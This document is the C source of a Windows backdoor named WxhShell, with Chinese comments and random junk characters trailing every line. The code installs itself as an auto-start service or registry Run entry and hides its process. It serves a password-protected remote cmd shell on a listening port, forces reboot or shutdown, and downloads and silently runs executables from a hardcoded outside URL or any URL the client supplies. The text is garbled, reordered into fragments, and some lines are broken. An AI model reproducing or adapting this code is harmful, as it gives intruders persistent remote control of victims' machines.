    if(Boot(SHUTDOWN)) $=IJ-_'o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bm</qF'T6  
    else { VV$$t;R/  
    closesocket(wsh); nx2iEXsa  
    ExitThread(0); vFz#A/1  
    } @`IMR$'  
    break; }#b[@3/T  
    } y{ ?wxg9  
  // 获取shell |5;:3K+  
  case 's': { bXx2]E227  
    CmdShell(wsh); Y`U[Y Hx  
    closesocket(wsh); T> !Y-e.q  
    ExitThread(0); /qKO9M5A  
    break; y5p)z"  
  } "8NhrUX  
  // 退出 vi4lmkyh^  
  case 'x': { -;i vBR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0bcbH9) 1q  
    CloseIt(wsh); <%SG <|t  
    break; 3YFbT Z  
    } ^z _m<&r  
  // 离开 #},4m  
  case 'q': { kT=KxS{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1 luRTI8^  
    closesocket(wsh); }Qqi013E L  
    WSACleanup(); qgk-[zW#  
    exit(1); .!B>pp(9  
    break; q[wVC h  
        } ri]"a?Rm  
  } ac2G;}B|  
  } Rg3cqe#O/  
mF6 U{=  
  // 提示信息 5, j&-{ 0W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *!wBn  
} ;7HL/-  
  } (L2:|1P)  
4e0/Q!o,  
  return; kf Xg\6uKc  
} QMI6l'"s  
$Y\-X<gRH  
// shell模块句柄 Y\e8oIYu7  
int CmdShell(SOCKET sock) Q!T+Jc9N  
{ &|LP>'H;  
STARTUPINFO si; v5/2-<6x  
ZeroMemory(&si,sizeof(si)); "Q[rM1R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b}C6/ zW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CZ~%qPwDw  
PROCESS_INFORMATION ProcessInfo; $3BH82  
char cmdline[]="cmd"; V+Tu{fFF7E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \nKpJ9!  
  return 0; m,qMRcDF  
} 0&W*U{0F\  
e*Y>+*2y  
// 自身启动模式 B< 6E'  
int StartFromService(void) s^QXCmb$8  
{ F.DR Gi.i  
typedef struct }[2|86,G;  
{ /&eF,4  
  DWORD ExitStatus; Ln4zy*v{  
  DWORD PebBaseAddress; `\]gNn'Q  
  DWORD AffinityMask; d*===~  
  DWORD BasePriority; ?S~@Ea8/M  
  ULONG UniqueProcessId; "L)=Y7Dx  
  ULONG InheritedFromUniqueProcessId; kuZs30^  
}   PROCESS_BASIC_INFORMATION; ]6*+i $  
,5 A&  
PROCNTQSIP NtQueryInformationProcess; B S^P&TR!  
WS7a]~3'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,iy;L_N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z'V"nhL  
y?}R,5k  
  HANDLE             hProcess; / Ml d.  
  PROCESS_BASIC_INFORMATION pbi; 5{.g~3"  
q '  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h=7eOK]  
  if(NULL == hInst ) return 0; `+c8;p'q  
_ft)e3Gf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t#eTn";  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mi>CHa+$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ).8i*Ys,:  
yaw33/iN  
  if (!NtQueryInformationProcess) return 0; >+3tOv3:  
w<o#/J9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [? 1m6u;  
  if(!hProcess) return 0; YZHqy++x  
/yd<+on^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B'U;i5u4'  
AgU 7U/yk  
  CloseHandle(hProcess); B|zVq=l~  
h]w5N2$}?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qbunP!  
if(hProcess==NULL) return 0; -gzY ~a  
jwW6m@+  
HMODULE hMod; xtN=?WjVe0  
char procName[255]; B+pJWl8u  
unsigned long cbNeeded; 4pw:O^v  
R c.8j,]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x#0B "{  
Q|1X|_hs  
  CloseHandle(hProcess); E{#Y=  
J nzI- y  
if(strstr(procName,"services")) return 1; // 以服务启动 1}#RUqFrvS  
km[ PbC  
  return 0; // 注册表启动 q*36/I  
} <M,A:u\qSQ  
$At,D.mGkb  
// 主模块 }aJK^>^>A  
int StartWxhshell(LPSTR lpCmdLine) 'aAay*1  
{ rf:C B&u  
  SOCKET wsl; Jemb0Qv  
BOOL val=TRUE; Z^?YTykH  
  int port=0; ~p'DPg4  
  struct sockaddr_in door; y~jYGN  
e|~s'{3  
  if(wscfg.ws_autoins) Install(); J ;e/S6l  
gL-\@4\wc  
port=atoi(lpCmdLine); d O'apey  
; ^cc-bLvF  
if(port<=0) port=wscfg.ws_port; =w/S{yC  
%x5zs ]4^  
  WSADATA data; ,VTX7vaH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j}dev pO  
VJ'bS9/T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N:yyDeGyW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9tZ+ ?O5  
  door.sin_family = AF_INET; 5%Xny8 ]|D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (qky&}H  
  door.sin_port = htons(port); h4 X>  
H>/LC* 8-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MY$-D+#/`  
closesocket(wsl); U(t_uc5q  
return 1; iI.d8}A  
} G"'[dL)N>  
HsQ\xQ"k!  
  if(listen(wsl,2) == INVALID_SOCKET) { d mj T$a|  
closesocket(wsl); ?xgrr7  
return 1; N`Q[OFe  
} 0 3/ <A^  
  Wxhshell(wsl); nRL2Z5iO-  
  WSACleanup(); W2CQk  
%!_%%p,f  
return 0; "k%B;!We)  
9"TPAywd  
} #ivN-WKCl  
/j`v N  
// 以NT服务方式启动 f|&ga'5g&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iOO1\9{@  
{ >FRJvZ6  
DWORD   status = 0; HcKZmL. wp  
  DWORD   specificError = 0xfffffff; sIZ|N"2]A*  
.!&S{;Vv?W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F~Z~OqCS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?V>\9?zb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wz^M*=,  
  serviceStatus.dwWin32ExitCode     = 0; DwLl}{r'  
  serviceStatus.dwServiceSpecificExitCode = 0; >dTJ  
  serviceStatus.dwCheckPoint       = 0; ,cqZb0VP{t  
  serviceStatus.dwWaitHint       = 0; mI[$c"!BD  
4)4E/q/5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1hT!~'  
  if (hServiceStatusHandle==0) return; ]F]!>dKA  
|,G=k,?_p  
status = GetLastError(); E+.%9EKU  
  if (status!=NO_ERROR) 6}>:sr  
{ -1>$3-ur~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8UANB]@Y}  
    serviceStatus.dwCheckPoint       = 0; "++q. y  
    serviceStatus.dwWaitHint       = 0; *k7vm%#ns  
    serviceStatus.dwWin32ExitCode     = status; ;J)8#|  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7rdPA9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mAFVjSa2  
    return; 9u->.O: p  
  } ;Npv 2yAab  
b3 ,&RUF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o9Z!Z ^  
  serviceStatus.dwCheckPoint       = 0; f/&k $,w  
  serviceStatus.dwWaitHint       = 0; \~YyY'J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G\S>H  
}  xlH?J;$  
q[}[w!to  
// 处理NT服务事件,比如:启动、停止 b)eKa40Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A`D^}F6  
{ rLfhm Ds%u  
switch(fdwControl) fy(i<L Z  
{ V(Dn!Nz  
case SERVICE_CONTROL_STOP: >;;tX3(  
  serviceStatus.dwWin32ExitCode = 0; _cW (R,i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6.!3g(w   
  serviceStatus.dwCheckPoint   = 0; H(1( H0Kj"  
  serviceStatus.dwWaitHint     = 0; t[.wx.y&0  
  { ``:AF:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i~k9s  
  } N` DLIv8i;  
  return; eqL~h1^Co  
case SERVICE_CONTROL_PAUSE: N9M''H *VS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #0+`dI_5/  
  break; PUdJ>U  
case SERVICE_CONTROL_CONTINUE: NB z3j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @"`{gdB$  
  break; 2`o}neF{  
case SERVICE_CONTROL_INTERROGATE: J01Y%W  
  break; #e!4njdM  
}; &d`z|Gx9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wK7wu.  
} :jFKTG  
!"dbK'jb^  
// 标准应用程序主函数 iuX82z`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CulU?-[i  
{ \rw/d5.  
ma\UJz  
// 获取操作系统版本 `xhiG9mz~  
OsIsNt=GetOsVer(); 2nQrCdRC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sc2nLyn$  
 _`bH$  
  // 从命令行安装 C(7Y5\"P  
  if(strpbrk(lpCmdLine,"iI")) Install(); f4s^$Q{Q  
G*;}6 bj|?  
  // 下载执行文件 sh6F-g  
if(wscfg.ws_downexe) { 9P3jx)K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .3B3Z&vr  
  WinExec(wscfg.ws_filenam,SW_HIDE); ? Q`Sx  
} 4)BPrWea1  
Y]5\%JR  
if(!OsIsNt) { zKi5e+\  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;9{x""  
HideProc(); Kzs]+Cl  
StartWxhshell(lpCmdLine); x=>+.'K  
} ">n38:?R  
else [U]ouh)  
  if(StartFromService()) nC3U%*l  
  // 以服务方式启动 uh~/ybR  
  StartServiceCtrlDispatcher(DispatchTable); q>~\w1%}a\  
else }@ *Me+  
  // 普通方式启动 GnE%C2L -  
  StartWxhshell(lpCmdLine); R?Dbv'lp>  
5ml^3,x  
return 0; )TceNH  
} .oJs"=h:m  
cm8-L[>E  
7-oH >OF^  
_u`NIpXSP  
=========================================== s_=/p5\  
<bwsK,C  
? [?{X~uq  
yn0OPjH  
eB:OvOol*^  
>A$J5B >d  
" W |]24  
Y2 &N#~l*  
#include <stdio.h> T4 dYC'z  
#include <string.h> 'oZ/fUl|7  
#include <windows.h> ({ 7tp!@  
#include <winsock2.h> DRo@gYDn  
#include <winsvc.h> y&0&K 4aa  
#include <urlmon.h> uA?_\z?  
#rZk&q  
#pragma comment (lib, "Ws2_32.lib") Tr1#=&N0  
#pragma comment (lib, "urlmon.lib") yqF$J"=|  
nb:J"  
#define MAX_USER   100 // 最大客户端连接数 Ul?Ha{ W  
#define BUF_SOCK   200 // sock buffer A2o ;YyF  
#define KEY_BUFF   255 // 输入 buffer JM#jg-z,~  
d9XX^nY.  
#define REBOOT     0   // 重启 sW~Z?PFP  
#define SHUTDOWN   1   // 关机 `eIX*R   
:\@WY  
#define DEF_PORT   5000 // 监听端口 f:k3j}&  
kU8V,5  
#define REG_LEN     16   // 注册表键长度 4]N`pD5  
#define SVC_LEN     80   // NT服务名长度 2kTLj2 @o,  
AW8"@  
// 从dll定义API P!C!E/Jf5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jy'ge4]3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @L%9NqE`O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R|T_9/#)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M%wj6!5  
'|0Dt|$  
// wxhshell配置信息 *M_.>".P  
struct WSCFG { P-L<D!25  
  int ws_port;         // 监听端口 ,.` ";='o  
  char ws_passstr[REG_LEN]; // 口令 WV5gH*uUa  
  int ws_autoins;       // 安装标记, 1=yes 0=no ex8mA6g  
  char ws_regname[REG_LEN]; // 注册表键名 P5ii3a?R  
  char ws_svcname[REG_LEN]; // 服务名 X6mY#T'fQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |X9YVZC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K1Tq7/N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `zHtfox!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eR(PY{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J!,5HJh1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uG\ +`[-{0  
E+$vIYq:W  
}; x.r~e)x=  
t;9f7~  
// default Wxhshell configuration [R j=k)aBm  
struct WSCFG wscfg={DEF_PORT, <CL0@?*i9  
    "xuhuanlingzhe", D"F5-s7  
    1, jxL5L[  
    "Wxhshell", Ys10r-kDS  
    "Wxhshell", +XU*NAD,!  
            "WxhShell Service", x`^~|Q  
    "Wrsky Windows CmdShell Service", vJ$#m_aa  
    "Please Input Your Password: ", `j088<?j  
  1, yzhr"5_  
  "http://www.wrsky.com/wxhshell.exe", or/Y"\-!  
  "Wxhshell.exe" y&\ J  
    }; raGov`  
GEq?^z~i  
// 消息定义模块 8=Di+r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v709#/ cR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TL+a_]3@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EI2V<v  
char *msg_ws_ext="\n\rExit."; t#kR@t+6$\  
char *msg_ws_end="\n\rQuit.";  PA"xb3@I  
char *msg_ws_boot="\n\rReboot..."; 3e"_R  
char *msg_ws_poff="\n\rShutdown...";  o@_pV  
char *msg_ws_down="\n\rSave to "; U]dz_%CRP  
"])X0z yM  
char *msg_ws_err="\n\rErr!"; u>H^bCXI  
char *msg_ws_ok="\n\rOK!"; $%VFk53I  
JoA^9AYhR  
char ExeFile[MAX_PATH]; L<Q1acoZm  
int nUser = 0; ;$(a+?  
HANDLE handles[MAX_USER]; +bvY*^i  
int OsIsNt; Q"CZ}B1<  
MP?9k)f  
SERVICE_STATUS       serviceStatus; \cvui^^n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @* L^Jgn  
G*e/Ft.wf8  
// 函数声明 `9eE139V='  
int Install(void); \1f$]oS  
int Uninstall(void); .l5y !?  
int DownloadFile(char *sURL, SOCKET wsh); 8QDRlF:;<  
int Boot(int flag); ~=P&wBnJ  
void HideProc(void); j& f-yc'i-  
int GetOsVer(void);  m2%uGqz  
int Wxhshell(SOCKET wsl); N(Us9  
void TalkWithClient(void *cs); 7ZS 5u+o  
int CmdShell(SOCKET sock); M)6_Ta l  
int StartFromService(void); ,T_HE3K  
int StartWxhshell(LPSTR lpCmdLine); =35^k-VS  
VB*$lx X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zl46E~"]x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y[S 5  
UDV,co  
// 数据结构和表定义 nCEt*~t9VE  
SERVICE_TABLE_ENTRY DispatchTable[] = FJo N"X  
{ It!%/Y5  
{wscfg.ws_svcname, NTServiceMain}, =0`"T!1  
{NULL, NULL} ]7v-qd  
}; _h7!  
+Tde#T&[  
// 自我安装 BBnbXhxZ  
int Install(void) * 4G J<  
{ qX`?4"4  
  char svExeFile[MAX_PATH]; M[D`)7=b  
  HKEY key; #ldNWwvRGj  
  strcpy(svExeFile,ExeFile); 4(2}O-~  
sN 1x|pkN  
// 如果是win9x系统,修改注册表设为自启动  =w0Rq~  
if(!OsIsNt) { gSK (BP|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +60zJ 4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c[?S}u|['  
  RegCloseKey(key); /s uz>o\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e-H:;m5R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 25*/]i u  
  RegCloseKey(key); S #%'Vrp  
  return 0; cC1nC76[  
    } Qs8iu`'  
  } 5 |{0|mP  
} 3D +>NB  
else { 6T&6N0y+9  
s#?Y^bgH  
// 如果是NT以上系统,安装为系统服务 #Qc[W +%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f8_5.vlw  
if (schSCManager!=0) YMad]_XOP  
{ )!hDF9O  
  SC_HANDLE schService = CreateService d4/snvq  
  ( <^|8\<J  
  schSCManager, I,QJ/sI  
  wscfg.ws_svcname, @~'c(+<3  
  wscfg.ws_svcdisp, 8Z:NT_Ss  
  SERVICE_ALL_ACCESS, uu1-` !%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~UB@IV6O  
  SERVICE_AUTO_START, Sm;&2"  
  SERVICE_ERROR_NORMAL, 0FsGqFt  
  svExeFile, AF ZHS\  
  NULL, [Nr6 qxWg  
  NULL, V' "p a  
  NULL, o;M"C[  
  NULL, / _-?NZ  
  NULL b\"JXfw  
  ); {l.) *#O  
  if (schService!=0) 1$?O5.X:  
  { 5W>i'6*  
  CloseServiceHandle(schService); yp wVzCUG  
  CloseServiceHandle(schSCManager); A5z`_b4f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8fTuae$^  
  strcat(svExeFile,wscfg.ws_svcname); Yq4_ss'nB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kM*f9x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,'m<um  
  RegCloseKey(key); oOBN  
  return 0; lLxKC7b  
    } cgc| G  
  } ~EW (2B{u  
  CloseServiceHandle(schSCManager); 0vQ@n7  
} fOm=#:O  
} &9, 6<bToP  
{$bAs9L  
return 1; U: ~O^  
} !FZb3U@  
;B o2$  
// 自我卸载 YMj z , N  
int Uninstall(void) ueDG1)  
{ k]l M%  
  HKEY key; Cd#[b)d ?^  
FGG Fi(  
if(!OsIsNt) { PbJn8o   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *J=`"^BO  
  RegDeleteValue(key,wscfg.ws_regname); 52q@&')D4M  
  RegCloseKey(key); Q9q:HGXxv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r^n%PH <  
  RegDeleteValue(key,wscfg.ws_regname); ]Hc `<P  
  RegCloseKey(key); o?b$}Qrl  
  return 0; P-ys$=  
  } -wvrc3F  
} NwIl~FNK  
} `]_#_  
else { VT?J TW  
tmDI2Z%7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NjMbQ M4  
if (schSCManager!=0) } =?kf3k  
{ `22F@JYN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F4M<5Yi  
  if (schService!=0) =S4_^UY;  
  { j5|PQOK  
  if(DeleteService(schService)!=0) { D0v!fF ~  
  CloseServiceHandle(schService); 0rxlN [Yp  
  CloseServiceHandle(schSCManager); pjvChl5  
  return 0; P7&a~N$T6W  
  } `8\ _ ]w0  
  CloseServiceHandle(schService); /P<RYA~  
  } %L=ro qz  
  CloseServiceHandle(schSCManager); _' Xt  
} R4 ;^R  
} ]BP"$rs  
F]N9ZWn /  
return 1; >#Y8#-$zc  
} %g^dB M#  
k+ 5:fB)z  
// 从指定url下载文件 "uDLty?*k  
int DownloadFile(char *sURL, SOCKET wsh) vo-n9Bj  
{ Yl% Ra1  
  HRESULT hr; O`g44LW2n  
char seps[]= "/"; i{I'+%~R  
char *token; *Tl"~)'t~  
char *file; -d[9mS  
char myURL[MAX_PATH]; 6{8qATLR  
char myFILE[MAX_PATH]; q*{i/=~  
)Uw QsP  
strcpy(myURL,sURL); :[#HP66[O5  
  token=strtok(myURL,seps); r4@!QR<h  
  while(token!=NULL) f7)}A/$4+  
  { o )GNV  
    file=token; Q6Vy}  
  token=strtok(NULL,seps); T#DJQ"$  
  } mLd=+&M  
k`62&"T  
GetCurrentDirectory(MAX_PATH,myFILE); QzT)PtX  
strcat(myFILE, "\\"); ;-~ Wfh+  
strcat(myFILE, file); 'vgw>\X(  
  send(wsh,myFILE,strlen(myFILE),0); ?y>xC|kt  
send(wsh,"...",3,0); Se9I1~mX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :aV(i.LW  
  if(hr==S_OK) u3R0_8 _.w  
return 0; "pa5+N&2-  
else +M$2:[xRT  
return 1; TW(rK&  
W @Y$!V<  
} \S[:  
, b ,`;I  
// 系统电源模块 1`Cr1pH  
int Boot(int flag) Q!7Er  
{ "G)-:!H  
  HANDLE hToken; nmn$$=~)  
  TOKEN_PRIVILEGES tkp; w}zl=w{G  
KV k 36;$  
  if(OsIsNt) { ld -c?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5u'"m<4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kG[u$[B  
    tkp.PrivilegeCount = 1; yBXdj`bV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^:5 ;H=.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %a<N[H3NV@  
if(flag==REBOOT) { SouPk/-B80  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @aN<nd`q)  
  return 0; n7i;^=9 mM  
} IFlDw}M!9  
else { 3o9`Ko0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) / *Z( ;-  
  return 0; T3u%V_  
} )TnxsFC  
  }  0$b)@  
  else { {-2I^Ym 5i  
if(flag==REBOOT) { ~=aD*v<3d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'IY?7+[  
  return 0; <_=a1x  
} P#\L6EO.  
else { -^=gQ7f9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~b+4rYNxU_  
  return 0; 4.$<o/M  
} HUuL3lYka  
} ?k<i e2  
tH,}_Bp  
return 1; v T2YX5k&,  
} *.K+"WS%  
DlC`GZEtqh  
// win9x进程隐藏模块 YQ}Rg5 o  
void HideProc(void) ogbLs)&+a  
{ /@g D 8  
|G&<@8O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \\AufAkJ  
  if ( hKernel != NULL ) ;f#%0W{":  
  { @Iia>G @Rz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~cbq5||  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xgn@1.}G  
    FreeLibrary(hKernel); ~ J^Gzl  
  } NVU@m+m~  
7pH(_-TF  
return; 5, R\tJCK  
} e7T"?s  
cq>{  
// 获取操作系统版本 P95U{   
int GetOsVer(void) 2>Hl=bX  
{ =hxj B*")  
  OSVERSIONINFO winfo; ;XNe:g.CR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +[:"$?J  
  GetVersionEx(&winfo); Qz2Y w `  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !4\`g?  
  return 1; 4G"T{A`O  
  else oXRmnt  
  return 0; X|^E+ `M4  
} I:CnOpR>A  
mYJ%gdTpo  
// 客户端句柄模块 srXGe`VL  
int Wxhshell(SOCKET wsl) .Qm"iOyM  
{ 5+\[x`  
  SOCKET wsh; qqA(Swe)T  
  struct sockaddr_in client;  }&BE*U8_  
  DWORD myID; rCR?]1*Z  
(Gr8JpV  
  while(nUser<MAX_USER) |Wd]:ijJ  
{ `9E:V=  
  int nSize=sizeof(client); @GDe{GG+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )8VrGg?  
  if(wsh==INVALID_SOCKET) return 1; U??P  
U\a.'K50F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jq:FDyOAW  
if(handles[nUser]==0) F$QN>wPpM  
  closesocket(wsh); B{$4s8XU  
else j&,,~AZm  
  nUser++; `WQz_}TqB  
  } /yPFts_q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,~u5SR  
F$<>JEdX  
  return 0; Nd'+s>d0  
} XdE#l/#  
M }=X/*T  
// 关闭 socket " 2A`M~  
void CloseIt(SOCKET wsh) Wew'bj  
{ & 9}L +/,  
closesocket(wsh); (jd)sf6Tj[  
nUser--; by!1L1[JTt  
ExitThread(0); j oDY   
} *z I@Htp  
KI)jP((  
// 客户端请求句柄 Oya:{d&=  
void TalkWithClient(void *cs) 9Jd{HI=  
{ > 2_xRn<P  
#=C!Xx&  
  SOCKET wsh=(SOCKET)cs; ^kJ(bBY  
  char pwd[SVC_LEN]; ^0vK >  
  char cmd[KEY_BUFF]; z +,l"#Vv  
char chr[1]; 2 Z K:S+c  
int i,j; x>:~=#Vi  
*"Yz"PK  
  while (nUser < MAX_USER) { ,rj_P  
Qz)1wf'y  
if(wscfg.ws_passstr) { xj`ni G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .|W0B+Z8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &x6Z=|Ers  
  //ZeroMemory(pwd,KEY_BUFF); E0; }e  
      i=0; Br^4N9  
  while(i<SVC_LEN) { tS#=I.ET  
&XAG| #  
  // 设置超时 QY2/mtI  
  fd_set FdRead; "#,]` ME;  
  struct timeval TimeOut; YHBH9E/B  
  FD_ZERO(&FdRead); j_H"m R  
  FD_SET(wsh,&FdRead); g(Q)fw  
  TimeOut.tv_sec=8; q2 K@i*s  
  TimeOut.tv_usec=0; dd1CuOd6(1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KG9h rT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r+%:rFeX  
2..b/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /$ Gp<.z  
  pwd=chr[0]; zURxXo/\V  
  if(chr[0]==0xd || chr[0]==0xa) { cV^r_E\m  
  pwd=0; 6[ }~m\cY  
  break; r9nH6 Md\  
  } ,dn6z#pb+  
  i++; !qGER.  
    } 4@ EY+p  
eaLR-+vEB  
  // 如果是非法用户,关闭 socket RhwqAok|lj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p1~u5BE7O  
} 2kMBe%  
`w/:o$&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fLkZ'~e!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c#o(y6  
%c+`8 wj  
while(1) { 12l-NWXf  
C1w~z4Qp  
  ZeroMemory(cmd,KEY_BUFF);  uP|Py.+  
:yg:sU  
      // 自动支持客户端 telnet标准   PP/EZ^]b  
  j=0; PF=BXY1<UL  
  while(j<KEY_BUFF) { qyi5j0)W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  B=)&43)\  
  cmd[j]=chr[0]; t6-He~  
  if(chr[0]==0xa || chr[0]==0xd) { ;Q*=AW  
  cmd[j]=0; ]`@= ;w  
  break; c%|K x  
  } uWm,mGd9  
  j++; yTt,/+I%gJ  
    } \l)Jb*t  
EFpV  
  // 下载文件 $ZnLYuGb  
  if(strstr(cmd,"http://")) { Pn?Ujjv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *B<Ig^c  
  if(DownloadFile(cmd,wsh)) /mS|Byx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tYb8a  
  else >4I,9TO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gg'sgn   
  } ^eF%4DUC;  
  else { u7PtGN0r%  
